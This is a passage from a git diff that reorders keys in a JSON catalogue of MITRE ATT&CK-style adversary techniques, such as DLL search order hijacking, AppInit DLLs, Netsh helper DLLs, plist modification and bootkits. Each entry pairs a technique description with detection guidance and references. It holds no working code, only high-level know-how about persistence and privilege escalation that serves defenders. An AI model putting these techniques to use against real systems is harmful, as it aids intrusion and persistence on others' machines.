- "uuid": "6a63ed12-fe3c-42e3-9c5e-2fcd740dc5ab",
"refs": [
"https://attack.mitre.org/wiki/Technique/T1162",
"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
"https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
- ]
- }
+ ],
+ "uuid": "6a63ed12-fe3c-42e3-9c5e-2fcd740dc5ab"
+ },
+ "value": "Login Item"
},
{
"description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Authentication logs, Binary file metadata",
- "value": "Redundant Access",
"meta": {
"mitre_data_sources": [
"Process monitoring",
@@ -3480,11 +3485,6 @@
"Authentication logs",
"Binary file metadata"
],
- "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1108",
- "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3501,12 +3501,17 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1108",
+ "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ ],
+ "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a"
+ },
+ "value": "Redundant Access"
},
{
"description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted.[[Citation: Zhang 2013]] If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata",
- "value": "Data Encrypted",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -3514,12 +3519,6 @@
"Process command-line parameters",
"Binary file metadata"
],
- "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1022",
- "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf",
- "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3536,12 +3535,18 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1022",
+ "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf",
+ "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
+ ],
+ "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638"
+ },
+ "value": "Data Encrypted"
},
{
"description": "Windows systems use a common method to look for required DLLs to load into a program.[[Citation: Microsoft DLL Search]] Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks,[[Citation: OWASP Binary Planting]] by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.[[Citation: Microsoft 2269637]] Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.[[Citation: Microsoft DLL Redirection]][[Citation: Microsoft Manifests]][[Citation: Mandiant Search Order]]\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Disallow loading of remote DLLs.[[Citation: Microsoft DLL Preloading]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, DLL monitoring, Process monitoring, Process command-line parameters\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
- "value": "DLL Search Order Hijacking",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -3549,7 +3554,20 @@
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "46944654-fcc1-4f63-9dad-628102376586",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1038",
"https://msdn.microsoft.com/en-US/library/aa375365",
@@ -3560,35 +3578,18 @@
"http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx",
"https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "46944654-fcc1-4f63-9dad-628102376586"
+ },
+ "value": "DLL Search Order Hijacking"
},
{
"description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "Data from Network Shared Drive",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1039"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3605,25 +3606,22 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1039"
+ ],
+ "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c"
+ },
+ "value": "Data from Network Shared Drive"
},
{
"description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program. This value can be abused to obtain persistence by causing a DLL to be loaded into most processes on the computer.[[Citation: AppInit Registry]]\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.[[Citation: AppInit Secure Boot]]\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs.[[Citation: TechNet Autoruns]] \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for [[Command and Control]], learning details about the environment through [[Discovery]], and conducting [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM",
- "value": "AppInit DLLs",
"meta": {
"mitre_data_sources": [
"Loaded DLLs",
"Process monitoring",
"Windows Registry"
],
- "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1103",
- "https://support.microsoft.com/en-us/kb/197571",
- "https://msdn.microsoft.com/en-us/library/dn280412",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3637,12 +3635,19 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1103",
+ "https://support.microsoft.com/en-us/kb/197571",
+ "https://msdn.microsoft.com/en-us/library/dn280412",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ ],
+ "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41"
+ },
+ "value": "AppInit DLLs"
},
{
"description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.[[Citation: Wikipedia OSI]] Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts;[[Citation: Microsoft ICMP]] however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X",
- "value": "Standard Non-Application Layer Protocol",
"meta": {
"mitre_platforms": [
"Windows Server 2003",
@@ -3661,80 +3666,75 @@
"MacOS",
"OS X"
],
- "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
"refs": [
"https://attack.mitre.org/wiki/Technique/T1095",
"http://support.microsoft.com/KB/170292",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ]
- }
+ ],
+ "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b"
+ },
+ "value": "Standard Non-Application Layer Protocol"
},
{
"description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism[[Citation: Sofacy Komplex Trojan]].\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters",
- "value": "Plist Modification",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
"Process command-line parameters"
],
- "uuid": "26a5fec2-2159-4dea-aa9f-8dafa90976ab",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1150",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "26a5fec2-2159-4dea-aa9f-8dafa90976ab"
+ },
+ "value": "Plist Modification"
},
{
"description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.[[Citation: TechNet Netsh]] The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another [[Persistence]] technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe.[[Citation: Demaske Netsh Persistence]]\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs.[[Citation: Github Netsh Helper CS Beacon]]\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.[[Citation: Demaske Netsh Persistence]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nContributors: Matthew Demaske, Adaptforward",
- "value": "Netsh Helper DLL",
"meta": {
"mitre_data_sources": [
"DLL monitoring",
"Windows Registry",
"Process monitoring"
],
- "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1128",
"https://technet.microsoft.com/library/bb490939.aspx",
"https://github.com/outflankbv/NetshHelperBeacon",
"https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2"
+ },
+ "value": "Netsh Helper DLL"
},
{
"description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.[[Citation: Microsoft User Modified Event]] Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems.\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, API monitoring, Windows event logs",
- "value": "Account Manipulation",
"meta": {
"mitre_data_sources": [
"Authentication logs",
"API monitoring",
"Windows event logs"
],
- "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1098",
- "https://docs.microsoft.com/windows/device-security/auditing/event-4738"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3748,12 +3748,17 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1098",
+ "https://docs.microsoft.com/windows/device-security/auditing/event-4738"
+ ],
+ "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27"
+ },
+ "value": "Account Manipulation"
},
{
"description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Net.\n\n===Mac===\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: Network protocol analysis, Process monitoring, Process use of network, Process command-line parameters",
- "value": "Remote System Discovery",
"meta": {
"mitre_data_sources": [
"Network protocol analysis",
@@ -3761,10 +3766,6 @@
"Process use of network",
"Process command-line parameters"
],
- "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1018"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3780,22 +3781,22 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1018"
+ ],
+ "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735"
+ },
+ "value": "Remote System Discovery"
},
{
"description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are net group /domain and net localgroup using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters",
- "value": "Permission Groups Discovery",
"meta": {
"mitre_data_sources": [
"API monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1069"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3812,23 +3813,22 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1069"
+ ],
+ "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce"
+ },
+ "value": "Permission Groups Discovery"
},
{
"description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.[[Citation: Trend Micro APT Attack Tools]]\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Binary file metadata\n\nContributors: Walker Johnson",
- "value": "File Deletion",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process command-line parameters",
"Binary file metadata"
],
- "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1107",
- "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3845,18 +3845,36 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1107",
+ "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
+ ],
+ "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59"
+ },
+ "value": "File Deletion"
},
{
"description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function.DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
- "value": "Path Interception",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring"
],
- "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1034",
"https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
@@ -3867,25 +3885,12 @@
"http://msdn.microsoft.com/en-us/library/ms682425",
"http://msdn.microsoft.com/en-us/library/ms687393"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02"
+ },
+ "value": "Path Interception"
},
{
"description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies[[Citation: Writing Bad Malware for OSX]]. There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time[[Citation: Malware Persistence on OS X]].\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring",
- "value": "LC_LOAD_DYLIB Addition",
"meta": {
"mitre_data_sources": [
"Binary file metadata",
@@ -3893,33 +3898,27 @@
"Process command-line parameters",
"File monitoring"
],
- "uuid": "b75b398b-65fb-4578-a9b6-847dd9d0cf52",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1161",
"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
"https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "b75b398b-65fb-4578-a9b6-847dd9d0cf52"
+ },
+ "value": "LC_LOAD_DYLIB Addition"
},
{
"description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR).[[Citation: MTrends 2016]]\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.[[Citation: Lau 2011]]\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: API monitoring, MBR, VBR",
- "value": "Bootkit",
"meta": {
"mitre_data_sources": [
"API monitoring",
"MBR",
"VBR"
],
- "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1067",
- "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf",
- "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3934,22 +3933,24 @@
"Windows 8.1",
"Linux",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1067",
+ "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf",
